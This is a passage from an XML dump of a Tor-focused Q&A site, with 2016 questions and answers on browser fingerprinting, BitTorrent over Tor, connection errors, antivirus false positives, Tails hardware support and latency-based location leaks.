anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recommended reading: &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/&quot;&gt;The Design and Implementation of the Tor Browser&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Response to comment(s):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;&lt;em&gt;&quot;that is what your argumentation is based&quot;&lt;/em&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Not entirely, they don't need to know what your browser &lt;em&gt;is&lt;/em&gt;, just that it doesn't match any known fingerprints which almost all other stock browsers (even with &quot;privacy&quot; add-ons) will. It's a bit like the famous &quot;parable&quot; or &quot;urban legend&quot; of the thief who removed his fingerprints and then was the only person who didn't have any fingerprints, making him the only suspect when they found the blank set of fingerprints at the scene of the crime.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;&lt;em&gt;&quot;how would an observer know that? [x and y guess incorrectly]&quot;&lt;/em&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Most browser fingerprintings sites are pretty naive PoC attempts, they're not performing advanced fingerprinting. One tell-tale sign, for example that a user is using Tor Browser would be to try to canvas fingerprint them. If you get back a hash of an empty string, they're probably using Tor Browser because currently no other browser implements that functionality. More advanced fingerprinting methods that are much harder to hide would be how it renders the page, given a page with a series of resources to be loaded embedded into the page, the order and means by which it loads each of the sub resources can be used as a distinguisher between browser engines (gecko, webkit, trident, etc) because each has it's own parser. Other distinguisher that are often overlooked are accepted encoding types and content types, especially given a specific context and file extension, what sort of images do you support? What sort of compression do you support? What about your TLS Cipher Suite?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such (and as suggested in the original answer) your efforts would be best served at blending into the crowd or Tor Browser users as best as possible, providing as little distinguishability as possible.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-06-07T00:30:30.760" LastActivityDate="2016-06-07T00:30:30.760" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11706" PostTypeId="2" ParentId="11703" CreationDate="2016-06-06T16:30:07.177" Score="1" Body="&lt;p&gt;First thing's first, &lt;a href=&quot;http://attrition.org/errata/charlatan/steve_gibson/&quot; rel=&quot;nofollow&quot;&gt;GRC is a well-known charlatan and snake-oil salesman with a documented history of being outstandingly &lt;em&gt;wrong&lt;/em&gt;&lt;/a&gt;. You shouldn't listen to what he has to say about &lt;em&gt;&quot;security&quot;&lt;/em&gt; or believe that any of his products live up to his grandiose claims.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second thing is that this isn't scanning you, it's scanning the relay you are exiting from, which will have at least one open port: it's &lt;code&gt;ORPort&lt;/code&gt; where it listens for incoming Tor connections and possibly a &lt;code&gt;DirPort&lt;/code&gt;, some kind of http port with a page page explaining that it's an exit relay, and maybe a remote administration method (e.g. ssh). It is orthogonal to &lt;em&gt;&quot;security&quot;&lt;/em&gt; that these ports are &quot;open&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;N.B. I am not going to troubleshoot every aspect of Steven Gibson's (expectedly) malfunctioning snake-oil software.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-06-06T17:07:54.647" LastActivityDate="2016-06-06T17:07:54.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11708" PostTypeId="2" ParentId="8599" CreationDate="2016-06-06T17:41:00.370" Score="1" Body="&lt;p&gt;Another way to go is using &lt;a href=&quot;http://www.pendrivelinux.com&quot; rel=&quot;nofollow&quot;&gt;Yumi&lt;/a&gt;; Yumi will assist you in downloading and installing many USB-bootable distros of Linux, including TAILS. There are also quite a few utilities that you can install: AV/malware cleaners, partitioning tools and rescue disks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest of the USB drive is available for whatever files you need to store on it.&lt;/p&gt;&#xA;" OwnerUserId="13069" LastEditorUserId="88" LastEditDate="2016-06-08T06:55:03.123" LastActivityDate="2016-06-08T06:55:03.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11709" PostTypeId="1" CreationDate="2016-06-06T18:29:51.143" Score="1" ViewCount="41" Body="&lt;p&gt;I have logged in with an administrative password and changed my user settings to administrator.&lt;/p&gt;&#xA;" OwnerUserId="13152" LastActivityDate="2016-06-06T18:29:51.143" Title="I am having trouble getting tails to allow me administrative privileges" Tags="|tails|" AnswerCount="0" CommentCount="1" ClosedDate="2016-06-07T07:38:06.453" ContentLicense="CC BY-SA 3.0" />
  <row Id="11710" PostTypeId="2" ParentId="10637" CreationDate="2016-06-06T18:46:07.980" Score="0" Body="&lt;p&gt;You could go back to the previous version, which was 5.5.5 I think. Here is a link I found. There may be many others of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dist.torproject.org/torbrowser/5.5.5/&quot; rel=&quot;nofollow&quot;&gt;https://dist.torproject.org/torbrowser/5.5.5/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you start it, Tor will tell you this is out of date, but you will have to ignore that until a working 6.x is available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="13153" LastEditorUserId="88" LastEditDate="2016-06-07T07:31:08.310" LastActivityDate="2016-06-07T07:31:08.310" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11712" PostTypeId="2" ParentId="11695" CreationDate="2016-06-06T21:37:59.223" Score="4" Body="&lt;p&gt;There is a lot of information to consider when running Bittorrent over Tor. Please take the time to read all of this information (from all of the answers) to make the best possible decision.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why Bittorrent over Tor compromises your anonymity:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitTorrent is designed to share files among users without the assistance of 3rd party servers for any purpose other then to get a list of users to request pieces of the files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to Bittorrent's need (by it's very design) for users to share pieces of the files with other users it publishes the user's IP Address to assist in Bittorrent's &quot;seeding process&quot;. Things get complicated though with Bittorrent Clients' abilities to run things through a proxy. It was setup to run at a bare minimum with the proxy settings but didn't take the concept of anonymity into mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However often (not always) your Bittorrent client will send your legitimate IP Address over Tor. This compromises your anonymity as despite the fact that you accessed Bittorrent through Tor, you still sent identifiable information through Tor. Tor cannot protect you from yourself, it's just like how a locked door can't protect you if you unlock it. Tor only routes packets anonymously it does not modify the contents of said packets. The two conflicting designs make Bittorrent a risky protocol to run over Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are routing Bittorrent over Tor (lets say on not illegal downloads, lets say a Linux Distribution Download) then do not do risky activities where anonymity is required with Tor while Bittorrent is running and connected to the same Tor install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you asked me not to provide the above information however I feel it's important that you know what risk you are taking and why the risk occurs and therefore choose to provide that information into my answer regardless of what was requested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why using Bittorrent over Tor harms both networks:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now lets assume for a minute that you resolve all data leakage issues with Bittorrent over Tor. Now you are harming both the Tor Network as well as the Bittorrent Network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you are harming the Tor network as there are far more Tor Users than there are Tor Exit Nodes meaning that bandwidth on the Tor Network is limited. When you make a lot of small connections on the Tor Network you slow it down for everyone since you add such a high level of load onto the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next by using Bittorrent over Tor you harm the Bittorrent Network. If you have completely routed your connection to the Bittorrent Network through the Tor Network then you are not seeding pieces back into the Bittorrent Network. This means you take away bandwidth from other users slowing down all downloads of that particular file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What you could do to reduce load on the Tor Network:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you choose to ignore all of the above advice and wish to proceed in utilizing Bittorrent over Tor then there are a few changes you could make to reduce the load. First reduce the amount of connections that your Bittorrent client is opening. Accordingly it will reduce the amount of open connections that you have open within the Tor Network. At the very least it will avoid harming the Tor Network (as much) however you will then suffer from even slower download speeds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why downloading a large file from a single server is better than Bittorrent over Tor:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are downloading a large file over Tor you are utilizing a lot of bandwidth. It is by far less intensive if you are not continuously opening and closing small connections and have one large connection running the entire time.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Thank you for taking the time to read all of the content within this answer. If anything I wrote in this answer is confusing then please let me know so I can adjust information for readability.&lt;/p&gt;&#xA;" OwnerUserId="13157" LastActivityDate="2016-06-06T21:37:59.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11713" PostTypeId="1" CreationDate="2016-06-07T00:47:39.353" Score="4" ViewCount="1593" Body="&lt;p&gt;Here is the log regarding the problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;6/6/2016 17:16:47 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or&#xA;  accept non-control network connections. Shutting down all existing connections.&#xA;6/6/2016 17:16:47 PM.200 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;6/6/2016 17:16:47 PM.200 [WARN] Could not bind to 127.0.0.1:9150: &#xA;  Permission denied [WSAEACCES ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Port forwarding doesn't resolves the problem and neither does running as admin, disabling windows firewall, changing router firewalls ettings nor using bridges works.&lt;/p&gt;&#xA;" OwnerUserId="13159" LastEditorUserId="13768" LastEditDate="2016-09-13T09:54:42.127" LastActivityDate="2016-09-13T09:54:42.127" Title="Tor stopped working upon installing new router/modem" Tags="|tor-browser-bundle|configuration|network-configuration|routers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11714" PostTypeId="2" ParentId="11713" CreationDate="2016-06-07T02:00:30.253" Score="2" Body="&lt;p&gt;&lt;code&gt;[WARN] Could not bind to 127.0.0.1:9150: Permission denied [WSAEACCES ]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is something local, not related to censorship or a new router &lt;em&gt;(unless the router appears as an &quot;unknown network&quot; and has triggered different firewall rules or profiles)&lt;/em&gt;. Something is stopping you binding to port. This is either some access control mechanism (firewall, packetfilter, antivirus, etc) &lt;em&gt;or&lt;/em&gt; something is already bound to that port number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the equivalent &lt;code&gt;netstat&lt;/code&gt; command on windows would be something like &lt;code&gt;netstat -p tcp&lt;/code&gt; in cmd.exe to see if that port is in use.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;WSAEACCES&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;An attempt was made to access a socket in a way forbidden by its&#xA;  access permissions.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Another possible reason for the WSAEACCES error is that when the bind&#xA;  function is called (on Windows NT 4.0 with SP4 and later), another&#xA;  application, service, or kernel mode driver is bound to the same&#xA;  address with exclusive access.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms740668%28v=vs.85%29.aspx#wsaeacces&quot; rel=&quot;nofollow&quot;&gt;msdn.microsoft.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-07T02:00:30.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11717" PostTypeId="1" CreationDate="2016-06-07T11:38:07.687" Score="1" ViewCount="36" Body="&lt;p&gt;Tor was running well, but yesterday it stopped connecting. Here are the logs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;07.06.2016 17:29:27.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;07.06.2016 17:29:27.400 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;07.06.2016 17:29:27.800 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again. &#xA;07.06.2016 17:29:34.200 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;07.06.2016 17:29:34.200 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;07.06.2016 17:29:34.600 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;07.06.2016 17:29:34.700 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;07.06.2016 17:29:36.100 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;07.06.2016 17:29:36.100 [NOTICE] new bridge descriptor 'MaBishomarim' (fresh): $A832D176ECD5C7C6B58825AE22FC4C90FA249637~MaBishomarim at 154.35.22.11 &#xA;07.06.2016 17:29:36.100 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;07.06.2016 17:29:55.200 [WARN] Proxy Client: unable to connect to 83.212.101.3:41213 (&quot;general SOCKS server failure&quot;) &#xA;07.06.2016 17:29:55.200 [WARN] Proxy Client: unable to connect to 104.131.108.182:56880 (&quot;general SOCKS server failure&quot;) &#xA;07.06.2016 17:30:17.600 [WARN] Proxy Client: unable to connect to 154.35.22.12:80 (&quot;general SOCKS server failure&quot;) &#xA;07.06.2016 17:31:27.200 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:443. Giving up. (waiting for circuit) &#xA;07.06.2016 17:33:40.100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;07.06.2016 17:33:40.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;07.06.2016 17:33:40.100 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;07.06.2016 17:33:40.200 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13167" LastEditorUserId="10070" LastEditDate="2016-06-08T06:54:12.327" LastActivityDate="2016-06-08T06:54:12.327" Title="Can not connect to TOR network" Tags="|windows|" AnswerCount="0" CommentCount="0" ClosedDate="2016-06-09T13:27:35.747" ContentLicense="CC BY-SA 3.0" />
  <row Id="11720" PostTypeId="1" CreationDate="2016-06-07T18:37:44.340" Score="1" ViewCount="766" Body="&lt;p&gt;I tested Tor Browser with the &lt;a href=&quot;https://www.virustotal.com/&quot; rel=&quot;nofollow&quot;&gt;Virus Total Online Scanner Website&lt;/a&gt; and got the message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is the Trojan by Rising - Trojan.DisguisedAsDocument/Heur!1.A502-8a37qDgkMnL (Cloud) &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is this correct, and if so how can I get a clean version?&lt;/p&gt;&#xA;" OwnerUserId="13173" LastEditorUserId="88" LastEditDate="2016-06-08T06:56:46.843" LastActivityDate="2016-06-08T06:56:46.843" Title="Virus Total Online Scanner Says Tor Has a Trojan" Tags="|tor-browser-bundle|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11722" PostTypeId="2" ParentId="10062" CreationDate="2016-06-08T01:30:46.150" Score="0" Body="&lt;p&gt;You can see the descriptors published on your HSDir, but Tor strongly requests you not do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a writeup on the topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://donncha.is/2013/05/trawling-tor-hidden-services/&quot; rel=&quot;nofollow&quot;&gt;http://donncha.is/2013/05/trawling-tor-hidden-services/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3242" LastEditorUserId="3242" LastEditDate="2016-06-08T01:56:36.297" LastActivityDate="2016-06-08T01:56:36.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11723" PostTypeId="1" CreationDate="2016-06-08T01:56:16.850" Score="1" ViewCount="50" Body="&lt;p&gt;On 6/7/16 Tor upgrade to 6.5 A1-hardened and I can't figure how to get the Tor browser working again? If anyone can help me out with this it would help me and a lot of other people out. Thank you, and I hope to hear from somebody soon.&lt;/p&gt;&#xA;" OwnerUserId="13177" LastActivityDate="2016-06-08T01:56:16.850" Title="how to get Tor browser working again with the new 6.5 A1-Hardened update? Please help" Tags="|help|update|" AnswerCount="0" CommentCount="1" ClosedDate="2016-06-09T13:24:13.293" ContentLicense="CC BY-SA 3.0" />
  <row Id="11725" PostTypeId="2" ParentId="11720" CreationDate="2016-06-08T03:11:22.427" Score="1" Body="&lt;p&gt;This is unfortunately pretty common. Note the &quot;Heur&quot; in the name, it means it has used heuristic scanning to determine it. It doesn't match any known sample but it has content that it doesn't understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Project actually uploads the browser builds to virustotal after each build and normally at least one false positive is seen as a result. You can find the &lt;a href=&quot;http://test-reports.tbb.torproject.org/reports/index-browserbundle_virustotal.html&quot; rel=&quot;nofollow&quot;&gt;results of their own uploads here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're concerned that there &lt;em&gt;is&lt;/em&gt; a virus in it there are some steps that can be taken. First of all, you should verify the signature of the download to ensure the tor browser development team signed it. Second of all if you suspected a developer put the virus there, the Tor Browser is &lt;a href=&quot;https://reproducible-builds.org/&quot; rel=&quot;nofollow&quot;&gt;built reproducibly&lt;/a&gt; which means if you have a copy of the source code, you can ensure that the source code builds to the same binary that they have signed by following their build process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I expect this is a false positive which is a common effect of heuristic scanning and the second option for verification can be technically prohibitive but signature verification is a process you should make a habit of if you're concerned about malware being bundled with programs as it reduces the set of people who &lt;em&gt;could&lt;/em&gt; infect it to those in control of the signing keys.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-08T03:11:22.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11728" PostTypeId="1" CreationDate="2016-06-08T10:35:33.547" Score="1" ViewCount="219" Body="&lt;p&gt;Does tails work well with mini free laptops. Are there any issues? Such as in proper shutdown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you boot Tails from DVD on mini free?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you boot Tails from USB on mini free?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answer this question only if you are using tails on mini free or have done testing of tails on this laptop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using an old version of tail or mini free please note this in your answer. &#xA;a&lt;/p&gt;&#xA;" OwnerUserId="7814" LastActivityDate="2016-06-08T21:00:43.080" Title="Does tails work with Mini free Laptops" Tags="|security|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11729" PostTypeId="1" CreationDate="2016-06-08T12:00:49.547" Score="1" ViewCount="874" Body="&lt;p&gt;Some .onion websites contain clearnet links which sends you to https (or http) websites. I understood that https/http is lesser anonymous than .onion. How can I block in Tor browser all links that doesn't contain &quot;.onion&quot; ?&lt;/p&gt;&#xA;" OwnerUserId="13192" LastActivityDate="2021-11-10T00:48:48.923" Title="How block clearnet in Tor browser?" Tags="|tor-browser-bundle|onion-routing|https|clear-net|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11730" PostTypeId="1" CreationDate="2016-06-08T14:29:54.753" Score="1" ViewCount="23" Body="&lt;p&gt;My TOR was working fine for some months. Just recently it wont open. I am on win8.1 - the little circle goes round for a bit and nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SO I deleted the folder with TOR in, downloaded it again and reinstalled. Same thing. TOR wopnt start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have turned off my firewall and virus scanner. Still no joy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried using the cmd prompt &lt;code&gt;c:\...\Tor Browser\Start Tor Browser&lt;/code&gt; but no joy either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;lots of errors in the log - here's one.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;firefox.exe &#xA;   45.2.0.0 &#xA;   00000000 &#xA;   MSVCR120.dll &#xA;   12.0.21005.1 &#xA;   524f7ce6 &#xA;   c0000005 &#xA;   00013b0b &#xA;   15c4 &#xA;   01d1c1979f303958 &#xA;   C:\Users\Edward\Desktop\Tor Browser\Browser\firefox.exe &#xA;   C:\Program Files (x86)\Trusteer\Rapport\bin\MSVCR120.dll &#xA;   dda818ab-2d8a-11e6-82d5-f01faf5d87dc &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does that help?&lt;/p&gt;&#xA;" OwnerUserId="13194" LastEditorUserId="13194" LastEditDate="2016-06-09T08:40:08.710" LastActivityDate="2016-06-09T12:17:33.847" Title="tor wont start in windows 8.1 - used to" Tags="|windows|" AnswerCount="0" CommentCount="1" FavoriteCount="0" ClosedDate="2016-06-09T13:24:59.577" ContentLicense="CC BY-SA 3.0" />
  <row Id="11731" PostTypeId="1" CreationDate="2016-06-08T17:46:41.563" Score="1" ViewCount="775" Body="&lt;p&gt;i just updated Tor to the newest version (6.5-A1) and i have a problem.&#xA;since the update, for every site, when i try to look at the circuit, i just see this: &lt;a href=&quot;https://i.stack.imgur.com/RXpjG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RXpjG.png&quot; alt=&quot;Menu shows &amp;#39;tor circuit for this site: (example.com) Example A, Example B, Example C&amp;#39;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it should be like this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/F9bO3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/F9bO3.png&quot; alt=&quot;Menu shows IP&amp;#39;s and countries of origin.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While its not a major problem, more comfort than anything, i really dont like this and feel a little unsafe. Any help is greatly appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Salami.&lt;/p&gt;&#xA;" OwnerUserId="13196" LastActivityDate="2017-01-05T14:18:38.660" Title="Tor browser 6.5-A1 not showing circuit" Tags="|circuit|update|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11734" PostTypeId="2" ParentId="11728" CreationDate="2016-06-08T21:00:43.080" Score="3" Body="&lt;p&gt;From looking at the pictures on &lt;a href=&quot;https://minifree.org/&quot; rel=&quot;nofollow&quot;&gt;their website&lt;/a&gt;, Minifree laptops appear to be old, re-branded Lenovo T400 and X200 Thinkpads. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we ignore the fact that they're selling old, presumably ex-business machines with upgraded memory and a nice sticker on the lid, then that's still fairly old hardware. (X200s were &lt;a href=&quot;https://en.wikipedia.org/wiki/ThinkPad_X_Series#X200&quot; rel=&quot;nofollow&quot;&gt;released in 2008&lt;/a&gt;... You can pick one up on eBay for a fraction of the cost that they're pedalling them for.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, I'm typing this on my old X220 Thinkpad, which is 5 years old, hasn't had a memory upgrade, and can still run the newest version of Tails without any trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tails &lt;a href=&quot;https://tails.boum.org/doc/about/requirements/index.en.html&quot; rel=&quot;nofollow&quot;&gt;official requirements page&lt;/a&gt; says you should be fine on most post-2005 systems with 2GB of memory or more. Which Minifree laptops have.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can you boot Tails from DVD on mini free?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, if you burn the image to a DVD.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can you boot Tails from USB on mini free?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-06-08T21:00:43.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11736" PostTypeId="1" CreationDate="2016-06-08T22:40:51.877" Score="2" ViewCount="168" Body="&lt;p&gt;I use Tor Browser often enough on my Windows 7 PC to have a semi-permanent entry for it in my Start Menu, and when I hover the mouse over that entry, a submenu appears with a list of options:  &quot;Open new tab&quot;, &quot;Open new window&quot;, and &quot;New private window&quot;.  I never paid much attention to this before (except to think that &quot;New private window&quot; was somewhat redundant), but today I tried &quot;Open new tab&quot; with Tor running.  I expected a new, blank tab to open in the existing Tor Browser window, but the actual response surprised me:  &quot;Tor Browser is already running, but is not responding.  The old Tor Browser process must be closed to open a new window.&quot;  (As I said, I was &lt;strong&gt;not&lt;/strong&gt; trying to open a new window.)  Canceling out of that dialog brought me to the main Tor window, which continued to function perfectly normally (i.e. Tor Browser &lt;strong&gt;hadn't&lt;/strong&gt; crashed, as the appearance of similar dialogs usually implies.)&lt;br&gt;&#xA;I assume that the sort of communication between the OS and the program that would be necessary for this to work has been blocked as one of Tor's security measures, but if that's true, shouldn't the appearance of this menu have also been blocked?&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2016-06-08T22:40:51.877" Title="Pointless, nonfuctional options in Tor Browser" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11737" PostTypeId="2" ParentId="7256" CreationDate="2016-06-08T22:46:34.513" Score="0" Body="&lt;p&gt;The &lt;em&gt;New Identity&lt;/em&gt; / &lt;em&gt;New Tor Circuit for this Site&lt;/em&gt; shortcuts were &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/17599&quot; rel=&quot;nofollow&quot;&gt;added&lt;/a&gt; in Tor Browser 6.0. The shortcuts are the same as the proposed ones mentioned in &lt;a href=&quot;https://tor.stackexchange.com/a/9623/401&quot;&gt;krang&lt;/a&gt;'s answer:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;New Identity: &lt;kbd&gt;Ctrl/Cmd&lt;/kbd&gt; + &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;U&lt;/kbd&gt;&lt;br&gt;&#xA;  New Tor Circuit for this Site: &lt;kbd&gt;Ctrl/Cmd&lt;/kbd&gt; + &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;L&lt;/kbd&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="401" LastActivityDate="2016-06-08T22:46:34.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11738" PostTypeId="1" AcceptedAnswerId="11739" CreationDate="2016-05-30T00:16:11.583" Score="13" ViewCount="356" Body="&lt;p&gt;This might be a general question about any anonymizing service, but I'm new here and curious about, but not super familiar with, Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose there's a service that engages in some handshake with clients that takes the form of a 'call-and-response'. (The client has to make some decision in response to content at an application level. )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They also have some data stored with the service, so they need to authenticate. So later sessions can be compared against this one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like the service should get a full round trip time for packets, all the way back to the source, along with a reasonable location for the exit node (they can traceroute to that point).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Latency can be impacted by so many other factors, (including tor routing) so it's definitely noisy data,&#xA;but the more a person visits, each time from a different tor node, can't the service do a clustering analysis to get a gradually improving picture of the person's physical location?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something that prevents this gradual acquisition of data?&lt;/p&gt;&#xA;" OwnerUserId="13109" OwnerDisplayName="Shape" LastEditorUserId="46" LastEditDate="2016-06-08T23:21:58.750" LastActivityDate="2016-06-08T23:21:58.750" Title="Does Tor latency leak location information?" Tags="|security|location|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11739" PostTypeId="2" ParentId="11738" CreationDate="2016-05-30T00:47:30.750" Score="9" Body="&lt;p&gt;There's one important fact that makes such an attack extremely difficult. A connection between a Tor client and a Tor hidden service is &lt;a href=&quot;https://www.torproject.org/docs/hidden-services.html.en&quot;&gt;actually composed of two entirely separate circuits&lt;/a&gt; that both connect to a &lt;em&gt;rendezvous point&lt;/em&gt;. One circuit is set up by the client, the other by the server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, the client doesn't know which relays the data uses on the journey from the RP to the server, and it's not possible to &quot;traceroute&quot; anything beyond the RP. Likewise, the server has no idea how the client gets to the RP. If the server is a normal web service rather than a Tor hidden service, it still doesn't know anything about the client's path to the exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That path can involve relays from all over the world. It's possible for two machines to be right next to each other but transfer data over a Tor connection with 100ms latency thanks to all the bouncing around. (The fastest possible physical speed for data transfer is about 5 milliseconds for a thousand miles, because of the speed of light.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is conceivably possible to get an upper bound on the 